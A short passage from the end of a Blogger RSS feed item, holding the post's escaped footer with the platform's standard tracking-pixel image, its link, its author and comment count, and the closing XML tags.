class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-737764877429929826?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2010/11/blog-post.html</link><author>noreply@blogger.com (Igor Gots)</author><thr:total>2</thr:total></item></channel></rss>

